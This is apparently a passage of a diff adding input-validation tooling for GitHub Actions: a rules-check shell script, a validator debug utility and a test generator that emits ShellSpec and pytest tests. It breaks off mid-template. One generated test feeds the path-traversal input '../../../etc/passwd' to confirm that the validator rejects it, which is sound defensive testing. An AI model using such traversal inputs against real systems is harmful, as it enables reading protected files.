||||
exit_code=0
|
||||
files_checked=0
|
||||
|
||||
printf '%b🛡️ Checking autogenerated validation rules...%b\n' "$YELLOW" "$NC"
|
||||
|
||||
# Check all rules.yml files in action directories
|
||||
# Store find results in a temp file to avoid subshell
|
||||
tmpfile=$(mktemp)
|
||||
find "$PROJECT_ROOT" -path "*/rules.yml" -type f 2>/dev/null > "$tmpfile"
|
||||
|
||||
while IFS= read -r file; do
|
||||
if [ -f "$file" ]; then
|
||||
files_checked=$((files_checked + 1))
|
||||
if ! check_file_manually_edited "$file"; then
|
||||
exit_code=1
|
||||
fi
|
||||
fi
|
||||
done < "$tmpfile"
|
||||
|
||||
rm -f "$tmpfile"
|
||||
|
||||
if [ "$files_checked" -eq 0 ]; then
|
||||
printf '%b⚠️ No validation rule files found%b\n' "$YELLOW" "$NC"
|
||||
return 0
|
||||
fi
|
||||
|
||||
# Check if rules are up-to-date
|
||||
if ! check_rules_up_to_date; then
|
||||
exit_code=1
|
||||
fi
|
||||
|
||||
if [ "$exit_code" -eq 0 ]; then
|
||||
printf '%b✅ All %d validation rules look properly autogenerated%b\n' "$GREEN" "$files_checked" "$NC"
|
||||
else
|
||||
printf "\n"
|
||||
printf '%b❌ VALIDATION RULES CHECK FAILED%b\n' "$RED" "$NC"
|
||||
printf '%b📋 To fix these issues:%b\n' "$YELLOW" "$NC"
|
||||
printf " 1. Revert any manual changes to rules files\n"
|
||||
printf " 2. Run 'make update-validators' to regenerate rules\n"
|
||||
printf " 3. Modify generator logic in update-validators.py if needed\n"
|
||||
printf "\n"
|
||||
printf '%b📖 Rules are now stored as rules.yml in each action folder%b\n' "$YELLOW" "$NC"
|
||||
fi
|
||||
|
||||
return $exit_code
|
||||
}
|
||||
|
||||
# Run the check
|
||||
main "$@"
|
||||
389
validate-inputs/scripts/debug-validator.py
Executable file
389
validate-inputs/scripts/debug-validator.py
Executable file
@@ -0,0 +1,389 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Debug utility for testing validators.
|
||||
|
||||
This tool helps debug validation issues by:
|
||||
- Testing validators directly with sample inputs
|
||||
- Showing which validator would be used for inputs
|
||||
- Tracing validation flow
|
||||
- Reporting detailed error information
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import logging
|
||||
from pathlib import Path
|
||||
import sys
|
||||
from typing import TYPE_CHECKING
|
||||
|
||||
# Add parent directory to path for imports
|
||||
sys.path.insert(0, str(Path(__file__).parent.parent))
|
||||
|
||||
from validators.conventions import ConventionBasedValidator
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from validators.base import BaseValidator
|
||||
from validators.registry import ValidatorRegistry
|
||||
|
||||
# Set up logging
|
||||
logging.basicConfig(
|
||||
level=logging.INFO,
|
||||
format="%(levelname)-8s %(name)s: %(message)s",
|
||||
)
|
||||
logger = logging.getLogger("debug-validator")
|
||||
|
||||
|
||||
class ValidatorDebugger:
|
||||
"""Debugging utility for validators."""
|
||||
|
||||
def __init__(self, *, verbose: bool = False) -> None:
|
||||
"""Initialize the debugger.
|
||||
|
||||
Args:
|
||||
verbose: Enable verbose output
|
||||
"""
|
||||
self.verbose = verbose
|
||||
self.registry = ValidatorRegistry()
|
||||
|
||||
if verbose:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
|
||||
def debug_action(self, action_type: str, inputs: dict[str, str]) -> None:
|
||||
"""Debug validation for an action.
|
||||
|
||||
Args:
|
||||
action_type: The action type to validate
|
||||
inputs: Dictionary of inputs to validate
|
||||
"""
|
||||
print(f"\n{'=' * 60}")
|
||||
print(f"Debugging: {action_type}")
|
||||
print(f"{'=' * 60}\n")
|
||||
|
||||
# Get the validator
|
||||
print("1. Getting validator...")
|
||||
validator = self.registry.get_validator(action_type)
|
||||
print(f" Validator: {validator.__class__.__name__}")
|
||||
print(f" Module: {validator.__class__.__module__}\n")
|
||||
|
||||
# Show required inputs
|
||||
if hasattr(validator, "get_required_inputs"):
|
||||
required = validator.get_required_inputs()
|
||||
if required:
|
||||
print("2. Required inputs:")
|
||||
for inp in required:
|
||||
status = "✓" if inp in inputs else "✗"
|
||||
print(f" {status} {inp}")
|
||||
print()
|
||||
|
||||
# Validate inputs
|
||||
print("3. Validating inputs...")
|
||||
result = validator.validate_inputs(inputs)
|
||||
print(f" Result: {'PASS' if result else 'FAIL'}\n")
|
||||
|
||||
# Show errors
|
||||
if validator.errors:
|
||||
print("4. Validation errors:")
|
||||
for i, error in enumerate(validator.errors, 1):
|
||||
print(f" {i}. {error}")
|
||||
print()
|
||||
else:
|
||||
print("4. No validation errors\n")
|
||||
|
||||
# Show validation details for each input
|
||||
if self.verbose:
|
||||
self.show_input_details(validator, inputs)
|
||||
|
||||
def show_input_details(self, validator: BaseValidator, inputs: dict[str, str]) -> None:
|
||||
"""Show detailed validation info for each input.
|
||||
|
||||
Args:
|
||||
validator: The validator instance
|
||||
inputs: Dictionary of inputs
|
||||
"""
|
||||
print("5. Input validation details:")
|
||||
|
||||
# If it's a convention-based validator, show which validator would be used
|
||||
if isinstance(validator, ConventionBasedValidator):
|
||||
for input_name, value in inputs.items():
|
||||
mapper = getattr(validator, "_convention_mapper", None)
|
||||
validator_type = mapper.get_validator_type(input_name) if mapper else None
|
||||
print(f"\n {input_name}:")
|
||||
print(f" Value: {value[:50]}..." if len(value) > 50 else f" Value: {value}")
|
||||
print(f" Validator: {validator_type or 'BaseValidator (default)'}")
|
||||
|
||||
# Try to validate individually to see specific errors
|
||||
if validator_type:
|
||||
# Use registry to get validator instance
|
||||
sub_validator = self.registry.get_validator_by_type(validator_type)
|
||||
if sub_validator:
|
||||
# Clear previous errors
|
||||
sub_validator.clear_errors()
|
||||
|
||||
# Validate based on type
|
||||
valid = self._validate_single_input(
|
||||
sub_validator,
|
||||
validator_type,
|
||||
input_name,
|
||||
value,
|
||||
)
|
||||
|
||||
print(f" Valid: {'✓' if valid else '✗'}")
|
||||
if sub_validator.errors:
|
||||
for error in sub_validator.errors:
|
||||
print(f" Error: {error}")
|
||||
print()
|
||||
|
||||
def _validate_single_input(
|
||||
self,
|
||||
validator: BaseValidator,
|
||||
validator_type: str,
|
||||
input_name: str,
|
||||
value: str,
|
||||
) -> bool:
|
||||
"""Validate a single input with appropriate method.
|
||||
|
||||
Args:
|
||||
validator: The validator instance
|
||||
validator_type: Type of validator
|
||||
input_name: Name of the input
|
||||
value: Value to validate
|
||||
|
||||
Returns:
|
||||
True if valid, False otherwise
|
||||
"""
|
||||
# Map validator types to validation methods
|
||||
method_map = {
|
||||
"boolean": "validate_boolean",
|
||||
"version": "validate_flexible_version",
|
||||
"token": "validate_github_token",
|
||||
"numeric": "validate_numeric_range",
|
||||
"file": "validate_file_path",
|
||||
"network": "validate_url",
|
||||
"docker": "validate_image_name",
|
||||
"security": "validate_no_injection",
|
||||
"codeql": "validate_languages",
|
||||
}
|
||||
|
||||
method_name = method_map.get(validator_type)
|
||||
if method_name and hasattr(validator, method_name):
|
||||
method = getattr(validator, method_name)
|
||||
|
||||
# Handle methods with different signatures
|
||||
if validator_type == "numeric":
|
||||
# Numeric validator needs min/max values
|
||||
# Try to detect from input name
|
||||
if "retries" in input_name:
|
||||
return method(value, 1, 10, input_name)
|
||||
if "limit" in input_name or "max" in input_name:
|
||||
return method(value, 0, 100, input_name)
|
||||
return method(value, 0, 999999, input_name)
|
||||
if validator_type == "codeql":
|
||||
# CodeQL expects a list
|
||||
return method([value], input_name)
|
||||
# Most validators take (value, field_name)
|
||||
return method(value, input_name)
|
||||
|
||||
# Fallback to validate_inputs
|
||||
return validator.validate_inputs({input_name: value})
|
||||
|
||||
def test_input_matching(self, input_names: list[str]) -> None:
|
||||
"""Test which validators would be used for input names.
|
||||
|
||||
Args:
|
||||
input_names: List of input names to test
|
||||
"""
|
||||
print(f"\n{'=' * 60}")
|
||||
print("Input Name Matching Test")
|
||||
print(f"{'=' * 60}\n")
|
||||
|
||||
conv_validator = ConventionBasedValidator("test")
|
||||
mapper = getattr(conv_validator, "_convention_mapper", None)
|
||||
if not mapper:
|
||||
print("Convention mapper not available")
|
||||
return
|
||||
|
||||
print(f"{'Input Name':<30} {'Validator':<20} {'Pattern Type'}")
|
||||
print("-" * 70)
|
||||
|
||||
for name in input_names:
|
||||
validator_type = mapper.get_validator_type(name)
|
||||
|
||||
# Determine pattern type
|
||||
pattern_type = "none"
|
||||
if validator_type:
|
||||
if name in mapper.PATTERNS.get("exact", {}):
|
||||
pattern_type = "exact"
|
||||
elif any(name.startswith(p) for p in mapper.PATTERNS.get("prefix", {})):
|
||||
pattern_type = "prefix"
|
||||
elif any(name.endswith(p) for p in mapper.PATTERNS.get("suffix", {})):
|
||||
pattern_type = "suffix"
|
||||
elif any(p in name for p in mapper.PATTERNS.get("contains", {})):
|
||||
pattern_type = "contains"
|
||||
|
||||
validator_display = validator_type or "BaseValidator"
|
||||
print(f"{name:<30} {validator_display:<20} {pattern_type}")
|
||||
|
||||
def validate_file(self, filepath: Path) -> None:
|
||||
"""Validate inputs from a JSON file.
|
||||
|
||||
Args:
|
||||
filepath: Path to JSON file with inputs
|
||||
"""
|
||||
try:
|
||||
with filepath.open() as f:
|
||||
data = json.load(f)
|
||||
|
||||
action_type = data.get("action_type", "unknown")
|
||||
inputs = data.get("inputs", {})
|
||||
|
||||
self.debug_action(action_type, inputs)
|
||||
|
||||
except json.JSONDecodeError:
|
||||
logger.exception("Invalid JSON in %s", filepath)
|
||||
sys.exit(1)
|
||||
except FileNotFoundError:
|
||||
logger.exception("File not found: %s", filepath)
|
||||
sys.exit(1)
|
||||
|
||||
def list_validators(self) -> None:
|
||||
"""List all available validators."""
|
||||
print(f"\n{'=' * 60}")
|
||||
print("Available Validators")
|
||||
print(f"{'=' * 60}\n")
|
||||
|
||||
# Core validators
|
||||
from validators.boolean import BooleanValidator
|
||||
from validators.codeql import CodeQLValidator
|
||||
from validators.docker import DockerValidator
|
||||
from validators.file import FileValidator
|
||||
from validators.network import NetworkValidator
|
||||
from validators.numeric import NumericValidator
|
||||
from validators.security import SecurityValidator
|
||||
from validators.token import TokenValidator
|
||||
from validators.version import VersionValidator
|
||||
|
||||
validators = [
|
||||
("BooleanValidator", BooleanValidator, "Boolean values (true/false)"),
|
||||
("VersionValidator", VersionValidator, "Version strings (SemVer/CalVer)"),
|
||||
("TokenValidator", TokenValidator, "Authentication tokens"),
|
||||
("NumericValidator", NumericValidator, "Numeric ranges"),
|
||||
("FileValidator", FileValidator, "File paths"),
|
||||
("NetworkValidator", NetworkValidator, "URLs, emails, hostnames"),
|
||||
("DockerValidator", DockerValidator, "Docker images, tags, platforms"),
|
||||
("SecurityValidator", SecurityValidator, "Security patterns, injection"),
|
||||
("CodeQLValidator", CodeQLValidator, "CodeQL languages and queries"),
|
||||
]
|
||||
|
||||
print("Core Validators:")
|
||||
for name, _cls, desc in validators:
|
||||
print(f" {name:<20} - {desc}")
|
||||
|
||||
# Check for custom validators
|
||||
print("\nCustom Validators:")
|
||||
custom_found = False
|
||||
for action_dir in Path().iterdir():
|
||||
if action_dir.is_dir() and not action_dir.name.startswith((".", "_")):
|
||||
custom_file = action_dir / "CustomValidator.py"
|
||||
if custom_file.exists():
|
||||
print(f" {action_dir.name:<20} - Custom validator")
|
||||
custom_found = True
|
||||
|
||||
if not custom_found:
|
||||
print(" None found")
|
||||
|
||||
print()
|
||||
|
||||
|
||||
def main() -> None:
|
||||
"""Main entry point for the debug utility."""
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Debug validator for GitHub Actions inputs",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
Examples:
|
||||
# Test specific inputs
|
||||
%(prog)s --action docker-build --input "image-name=myapp" --input "tag=v1.0.0"
|
||||
|
||||
# Test from JSON file
|
||||
%(prog)s --file test-inputs.json
|
||||
|
||||
# Test input name matching
|
||||
%(prog)s --test-matching github-token node-version dry-run
|
||||
|
||||
# List available validators
|
||||
%(prog)s --list-validators
|
||||
""",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--action",
|
||||
"-a",
|
||||
help="Action type to debug",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--input",
|
||||
"-i",
|
||||
action="append",
|
||||
help="Input in format name=value (can be repeated)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--file",
|
||||
"-f",
|
||||
type=Path,
|
||||
help="JSON file with action_type and inputs",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--test-matching",
|
||||
"-t",
|
||||
nargs="+",
|
||||
help="Test which validators match input names",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--list-validators",
|
||||
"-l",
|
||||
action="store_true",
|
||||
help="List all available validators",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--verbose",
|
||||
"-v",
|
||||
action="store_true",
|
||||
help="Enable verbose output",
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
# Create debugger
|
||||
debugger = ValidatorDebugger(verbose=args.verbose)
|
||||
|
||||
# Handle different modes
|
||||
if args.list_validators:
|
||||
debugger.list_validators()
|
||||
|
||||
elif args.test_matching:
|
||||
debugger.test_input_matching(args.test_matching)
|
||||
|
||||
elif args.file:
|
||||
debugger.validate_file(args.file)
|
||||
|
||||
elif args.action and args.input:
|
||||
# Parse inputs
|
||||
inputs = {}
|
||||
for input_str in args.input:
|
||||
if "=" not in input_str:
|
||||
logger.error("Invalid input format: %s (expected name=value)", input_str)
|
||||
sys.exit(1)
|
||||
|
||||
name, value = input_str.split("=", 1)
|
||||
inputs[name] = value
|
||||
|
||||
debugger.debug_action(args.action, inputs)
|
||||
|
||||
else:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
912
validate-inputs/scripts/generate-tests.py
Executable file
912
validate-inputs/scripts/generate-tests.py
Executable file
@@ -0,0 +1,912 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Test generation system for GitHub Actions and validators.
|
||||
|
||||
This script generates test files for actions and validators based on their
|
||||
definitions, without overwriting existing tests.
|
||||
"""
|
||||
# pylint: disable=invalid-name # Script name matches convention
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import logging
|
||||
from pathlib import Path
|
||||
import re
|
||||
import sys
|
||||
|
||||
import yaml # pylint: disable=import-error
|
||||
|
||||
# Set up logging
|
||||
logging.basicConfig(
|
||||
level=logging.INFO,
|
||||
format="%(levelname)s: %(message)s",
|
||||
)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class TestGenerator:
|
||||
"""Generate tests for GitHub Actions and validators."""
|
||||
|
||||
def __init__(self, project_root: Path, *, dry_run: bool = False) -> None:
|
||||
"""Initialize the test generator.
|
||||
|
||||
Args:
|
||||
project_root: Path to the project root directory
|
||||
dry_run: If True, don't write files, just show what would be generated
|
||||
"""
|
||||
self.project_root = project_root
|
||||
self.validate_inputs_dir = project_root / "validate-inputs"
|
||||
self.tests_dir = project_root / "_tests"
|
||||
self.generated_count = 0
|
||||
self.skipped_count = 0
|
||||
self.dry_run = dry_run
|
||||
|
||||
def generate_all_tests(self) -> None:
|
||||
"""Generate tests for all actions and validators."""
|
||||
logger.info("Starting test generation...")
|
||||
|
||||
# Generate ShellSpec tests for actions
|
||||
self.generate_action_tests()
|
||||
|
||||
# Generate pytest tests for validators
|
||||
self.generate_validator_tests()
|
||||
|
||||
# Generate tests for custom validators
|
||||
self.generate_custom_validator_tests()
|
||||
|
||||
logger.info(
|
||||
"Test generation complete: %d generated, %d skipped (already exist)",
|
||||
self.generated_count,
|
||||
self.skipped_count,
|
||||
)
|
||||
|
||||
def generate_action_tests(self) -> None:
|
||||
"""Generate ShellSpec tests for GitHub Actions."""
|
||||
logger.info("Generating ShellSpec tests for actions...")
|
||||
|
||||
# Find all action directories
|
||||
for item in sorted(self.project_root.iterdir()):
|
||||
if not item.is_dir():
|
||||
continue
|
||||
|
||||
action_yml = item / "action.yml"
|
||||
if not action_yml.exists():
|
||||
continue
|
||||
|
||||
# Skip special directories
|
||||
if item.name.startswith((".", "_")) or item.name == "validate-inputs":
|
||||
continue
|
||||
|
||||
self._generate_shellspec_test(item.name, action_yml)
|
||||
|
||||
def _generate_shellspec_test(self, action_name: str, action_yml: Path) -> None:
|
||||
"""Generate ShellSpec test for a single action.
|
||||
|
||||
Args:
|
||||
action_name: Name of the action
|
||||
action_yml: Path to the action.yml file
|
||||
"""
|
||||
# Check if test already exists
|
||||
test_file = self.tests_dir / "unit" / action_name / "validation.spec.sh"
|
||||
if test_file.exists():
|
||||
logger.debug("Test already exists for %s, skipping", action_name)
|
||||
self.skipped_count += 1
|
||||
return
|
||||
|
||||
# Load action definition
|
||||
with action_yml.open() as f:
|
||||
action_def = yaml.safe_load(f)
|
||||
|
||||
# Generate test content
|
||||
test_content = self._generate_shellspec_content(action_name, action_def)
|
||||
|
||||
if self.dry_run:
|
||||
logger.info("[DRY RUN] Would generate ShellSpec test: %s", test_file)
|
||||
self.generated_count += 1
|
||||
return
|
||||
|
||||
# Create test directory
|
||||
test_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
# Write test file
|
||||
with test_file.open("w", encoding="utf-8") as f:
|
||||
f.write(test_content)
|
||||
|
||||
# Make executable
|
||||
test_file.chmod(0o755)
|
||||
|
||||
logger.info("Generated ShellSpec test for %s", action_name)
|
||||
self.generated_count += 1
|
||||
|
||||
def _generate_shellspec_content(self, action_name: str, action_def: dict) -> str:
|
||||
"""Generate ShellSpec test content.
|
||||
|
||||
Args:
|
||||
action_name: Name of the action
|
||||
action_def: Action definition from action.yml
|
||||
|
||||
Returns:
|
||||
ShellSpec test content
|
||||
"""
|
||||
inputs = action_def.get("inputs", {})
|
||||
required_inputs = [name for name, config in inputs.items() if config.get("required", False)]
|
||||
|
||||
# Convert action name to readable format
|
||||
readable_name = action_name.replace("-", " ").title()
|
||||
# Use action description if available, otherwise use readable name
|
||||
description = action_def.get("name", readable_name)
|
||||
|
||||
content = f"""#!/usr/bin/env bash
|
||||
# ShellSpec tests for {action_name}
|
||||
# Generated by generate-tests.py - Do not edit manually
|
||||
|
||||
# shellcheck disable=SC1091
|
||||
. "$SHELLSPEC_HELPERDIR/../unit/spec_helper.sh"
|
||||
|
||||
Describe '{description} Input Validation'
|
||||
"""
|
||||
|
||||
# Add setup
|
||||
content += """
|
||||
setup() {
|
||||
export_test_env
|
||||
export INPUT_ACTION_TYPE="${action_name}"
|
||||
cleanup_test_env
|
||||
}
|
||||
|
||||
Before 'setup'
|
||||
After 'cleanup_test_env'
|
||||
|
||||
"""
|
||||
|
||||
# Generate test for required inputs
|
||||
if required_inputs:
|
||||
content += f""" Context 'Required inputs validation'
|
||||
It 'should fail when required inputs are missing'
|
||||
When run validate_inputs '{action_name}'
|
||||
The status should be failure
|
||||
The error should include 'required'
|
||||
End
|
||||
"""
|
||||
|
||||
for input_name in required_inputs:
|
||||
env_var = f"INPUT_{input_name.upper().replace('-', '_')}"
|
||||
content += f"""
|
||||
It 'should fail without {input_name}'
|
||||
unset {env_var}
|
||||
When run validate_inputs '{action_name}'
|
||||
The status should be failure
|
||||
The error should include '{input_name}'
|
||||
End
|
||||
"""
|
||||
|
||||
# Generate test for valid inputs
|
||||
content += """
|
||||
Context 'Valid inputs'
|
||||
It 'should pass with all valid inputs'
|
||||
"""
|
||||
|
||||
# Add example values for each input
|
||||
for input_name, config in inputs.items():
|
||||
env_var = f"INPUT_{input_name.upper().replace('-', '_')}"
|
||||
example_value = self._get_example_value(input_name, config)
|
||||
content += f" export {env_var}='{example_value}'\n"
|
||||
|
||||
content += f""" When run validate_inputs '{action_name}'
|
||||
The status should be success
|
||||
The output should not include 'error'
|
||||
End
|
||||
End
|
||||
"""
|
||||
|
||||
# Add input-specific validation tests
|
||||
for input_name, config in inputs.items():
|
||||
test_cases = self._generate_input_test_cases(input_name, config)
|
||||
if test_cases:
|
||||
content += f"""
|
||||
Context '{input_name} validation'
|
||||
"""
|
||||
for test_case in test_cases:
|
||||
content += test_case
|
||||
content += " End\n"
|
||||
|
||||
content += "End\n"
|
||||
return content
|
||||
|
||||
def _get_example_value(self, input_name: str, config: dict) -> str:
|
||||
"""Get example value for an input based on its name and config.
|
||||
|
||||
Args:
|
||||
input_name: Name of the input
|
||||
config: Input configuration from action.yml
|
||||
|
||||
Returns:
|
||||
Example value for the input
|
||||
"""
|
||||
# Check for default value
|
||||
if "default" in config:
|
||||
return str(config["default"])
|
||||
|
||||
# Common patterns
|
||||
patterns = {
|
||||
r"token": "${{ secrets.GITHUB_TOKEN }}",
|
||||
r"version": "1.2.3",
|
||||
r"path|file|directory": "./path/to/file",
|
||||
r"url|endpoint": "https://example.com",
|
||||
r"email": "test@example.com",
|
||||
r"branch": "main",
|
||||
r"tag": "v1.0.0",
|
||||
r"image": "myapp:latest",
|
||||
r"registry": "docker.io",
|
||||
r"platform|architecture": "linux/amd64",
|
||||
r"language": "javascript",
|
||||
r"command": "echo test",
|
||||
r"args|arguments": "--verbose",
|
||||
r"message|description": "Test message",
|
||||
r"name|title": "Test Name",
|
||||
r"dry.?run|debug|verbose": "false",
|
||||
r"push|publish|release": "true",
|
||||
r"timeout|delay": "60",
|
||||
r"retries|attempts": "3",
|
||||
r"port": "8080",
|
||||
r"host": "localhost",
|
||||
}
|
||||
|
||||
# Match patterns
|
||||
for pattern, value in patterns.items():
|
||||
if re.search(pattern, input_name, re.IGNORECASE):
|
||||
return value
|
||||
|
||||
# Default fallback
|
||||
return "test-value"
|
||||
|
||||
def _generate_input_test_cases(
|
||||
self,
|
||||
input_name: str,
|
||||
config: dict, # noqa: ARG002
|
||||
) -> list[str]:
|
||||
"""Generate test cases for a specific input.
|
||||
|
||||
Args:
|
||||
input_name: Name of the input
|
||||
config: Input configuration
|
||||
|
||||
Returns:
|
||||
List of test case strings
|
||||
"""
|
||||
test_cases = []
|
||||
env_var = f"INPUT_{input_name.upper().replace('-', '_')}"
|
||||
|
||||
# Boolean validation
|
||||
if re.search(r"dry.?run|debug|verbose|push|publish", input_name, re.IGNORECASE):
|
||||
test_cases.append(f"""
|
||||
It 'should accept boolean values for {input_name}'
|
||||
export {env_var}='true'
|
||||
When run validate_inputs '${{action_name}}'
|
||||
The status should be success
|
||||
End
|
||||
|
||||
It 'should reject invalid boolean for {input_name}'
|
||||
export {env_var}='invalid'
|
||||
When run validate_inputs '${{action_name}}'
|
||||
The status should be failure
|
||||
The error should include 'boolean'
|
||||
End
|
||||
""")
|
||||
|
||||
# Version validation
|
||||
elif "version" in input_name.lower():
|
||||
test_cases.append(f"""
|
||||
It 'should accept valid version for {input_name}'
|
||||
export {env_var}='1.2.3'
|
||||
When run validate_inputs '${{action_name}}'
|
||||
The status should be success
|
||||
End
|
||||
|
||||
It 'should accept version with v prefix for {input_name}'
|
||||
export {env_var}='v1.2.3'
|
||||
When run validate_inputs '${{action_name}}'
|
||||
The status should be success
|
||||
End
|
||||
""")
|
||||
|
||||
# Token validation
|
||||
elif "token" in input_name.lower():
|
||||
test_cases.append(f"""
|
||||
It 'should accept GitHub token for {input_name}'
|
||||
export {env_var}='${{{{ secrets.GITHUB_TOKEN }}}}'
|
||||
When run validate_inputs '${{action_name}}'
|
||||
The status should be success
|
||||
End
|
||||
|
||||
It 'should accept classic PAT for {input_name}'
|
||||
export {env_var}='ghp_1234567890123456789012345678901234'
|
||||
When run validate_inputs '${{action_name}}'
|
||||
The status should be success
|
||||
End
|
||||
""")
|
||||
|
||||
# Path validation
|
||||
elif re.search(r"path|file|directory", input_name, re.IGNORECASE):
|
||||
test_cases.append(f"""
|
||||
It 'should accept valid path for {input_name}'
|
||||
export {env_var}='./valid/path'
|
||||
When run validate_inputs '${{action_name}}'
|
||||
The status should be success
|
||||
End
|
||||
|
||||
It 'should reject path traversal for {input_name}'
|
||||
export {env_var}='../../../etc/passwd'
|
||||
When run validate_inputs '${{action_name}}'
|
||||
The status should be failure
|
||||
The error should include 'security'
|
||||
End
|
||||
""")
|
||||
|
||||
return test_cases
|
||||
|
||||
def generate_validator_tests(self) -> None:
|
||||
"""Generate pytest tests for validators."""
|
||||
logger.info("Generating pytest tests for validators...")
|
||||
|
||||
validators_dir = self.validate_inputs_dir / "validators"
|
||||
tests_dir = self.validate_inputs_dir / "tests"
|
||||
|
||||
# Find all validator modules
|
||||
for validator_file in sorted(validators_dir.glob("*.py")):
|
||||
if validator_file.name in ("__init__.py", "base.py", "registry.py"):
|
||||
continue
|
||||
|
||||
validator_name = validator_file.stem
|
||||
test_file = tests_dir / f"test_{validator_name}.py"
|
||||
|
||||
# Skip if test already exists
|
||||
if test_file.exists():
|
||||
logger.debug("Test already exists for %s, skipping", validator_name)
|
||||
self.skipped_count += 1
|
||||
continue
|
||||
|
||||
# Generate test content
|
||||
test_content = self._generate_pytest_content(validator_name)
|
||||
|
||||
if self.dry_run:
|
||||
logger.info("[DRY RUN] Would generate pytest test: %s", test_file)
|
||||
self.generated_count += 1
|
||||
continue
|
||||
|
||||
# Write test file
|
||||
with test_file.open("w", encoding="utf-8") as f:
|
||||
f.write(test_content)
|
||||
|
||||
logger.info("Generated pytest test for %s", validator_name)
|
||||
self.generated_count += 1
|
||||
|
||||
def _generate_pytest_content(self, validator_name: str) -> str:
|
||||
"""Generate pytest test content for a validator.
|
||||
|
||||
Args:
|
||||
validator_name: Name of the validator module
|
||||
|
||||
Returns:
|
||||
pytest test content
|
||||
"""
|
||||
class_name = "".join(word.capitalize() for word in validator_name.split("_"))
|
||||
if not class_name.endswith("Validator"):
|
||||
class_name += "Validator"
|
||||
|
||||
content = f'''"""Tests for {validator_name} validator.
|
||||
|
||||
Generated by generate-tests.py - Do not edit manually.
|
||||
"""
|
||||
|
||||
import pytest
|
||||
|
||||
from validators.{validator_name} import {class_name}
|
||||
|
||||
|
||||
class Test{class_name}:
|
||||
"""Test cases for {class_name}."""
|
||||
|
||||
def setup_method(self):
|
||||
"""Set up test fixtures."""
|
||||
self.validator = {class_name}("test-action")
|
||||
|
||||
def teardown_method(self):
|
||||
"""Clean up after tests."""
|
||||
self.validator.clear_errors()
|
||||
'''
|
||||
|
||||
# Add common test methods based on validator type
|
||||
if "version" in validator_name:
|
||||
content += self._add_version_tests()
|
||||
elif "token" in validator_name:
|
||||
content += self._add_token_tests()
|
||||
elif "boolean" in validator_name:
|
||||
content += self._add_boolean_tests()
|
||||
elif "numeric" in validator_name:
|
||||
content += self._add_numeric_tests()
|
||||
elif "file" in validator_name:
|
||||
content += self._add_file_tests()
|
||||
elif "network" in validator_name:
|
||||
content += self._add_network_tests()
|
||||
elif "docker" in validator_name:
|
||||
content += self._add_docker_tests()
|
||||
elif "security" in validator_name:
|
||||
content += self._add_security_tests()
|
||||
else:
|
||||
content += self._add_generic_tests(validator_name)
|
||||
|
||||
return content
|
||||
|
||||
def _add_version_tests(self) -> str:
|
||||
"""Add version-specific test methods."""
|
||||
return '''
|
||||
def test_valid_semantic_version(self):
|
||||
"""Test valid semantic version."""
|
||||
assert self.validator.validate_semantic_version("1.2.3") is True
|
||||
assert self.validator.validate_semantic_version("1.0.0-alpha") is True
|
||||
assert self.validator.validate_semantic_version("2.0.0+build123") is True
|
||||
|
||||
def test_invalid_semantic_version(self):
|
||||
"""Test invalid semantic version."""
|
||||
assert self.validator.validate_semantic_version("1.2") is False
|
||||
assert self.validator.validate_semantic_version("invalid") is False
|
||||
assert self.validator.validate_semantic_version("1.2.3.4") is False
|
||||
|
||||
def test_valid_calver(self):
|
||||
"""Test valid calendar version."""
|
||||
assert self.validator.validate_calver("2024.3.1") is True
|
||||
assert self.validator.validate_calver("2024.03.15") is True
|
||||
assert self.validator.validate_calver("24.3.1") is True
|
||||
|
||||
def test_github_expressions(self):
|
||||
"""Test GitHub expression handling."""
|
||||
assert self.validator.validate_semantic_version("${{ env.VERSION }}") is True
|
||||
assert self.validator.validate_calver("${{ steps.version.outputs.version }}") is True
|
||||
'''
|
||||
|
||||
def _add_token_tests(self) -> str:
|
||||
"""Add token-specific test methods."""
|
||||
return '''
|
||||
def test_valid_github_token(self):
|
||||
"""Test valid GitHub tokens."""
|
||||
# Classic PAT (36 chars)
|
||||
assert self.validator.validate_github_token("ghp_" + "a" * 32) is True
|
||||
# Fine-grained PAT (82 chars)
|
||||
assert self.validator.validate_github_token("github_pat_" + "a" * 71) is True
|
||||
# GitHub expression
|
||||
assert self.validator.validate_github_token("${{ secrets.GITHUB_TOKEN }}") is True
|
||||
|
||||
def test_invalid_github_token(self):
|
||||
"""Test invalid GitHub tokens."""
|
||||
assert self.validator.validate_github_token("invalid") is False
|
||||
assert self.validator.validate_github_token("ghp_short") is False
|
||||
assert self.validator.validate_github_token("") is False
|
||||
|
||||
def test_other_token_types(self):
|
||||
"""Test other token types."""
|
||||
# NPM token
|
||||
assert self.validator.validate_npm_token("npm_" + "a" * 32) is True
|
||||
# PyPI token
|
||||
assert self.validator.validate_pypi_token("pypi-AgEIcHlwaS5vcmc" + "a" * 100) is True
|
||||
'''
|
||||
|
||||
def _add_boolean_tests(self) -> str:
|
||||
"""Add boolean-specific test methods."""
|
||||
return '''
|
||||
def test_valid_boolean_values(self):
|
||||
"""Test valid boolean values."""
|
||||
valid_values = ["true", "false", "True", "False", "TRUE", "FALSE",
|
||||
"yes", "no", "on", "off", "1", "0"]
|
||||
for value in valid_values:
|
||||
assert self.validator.validate_boolean(value) is True
|
||||
assert not self.validator.has_errors()
|
||||
|
||||
def test_invalid_boolean_values(self):
|
||||
"""Test invalid boolean values."""
|
||||
invalid_values = ["maybe", "unknown", "2", "-1", "", "null"]
|
||||
for value in invalid_values:
|
||||
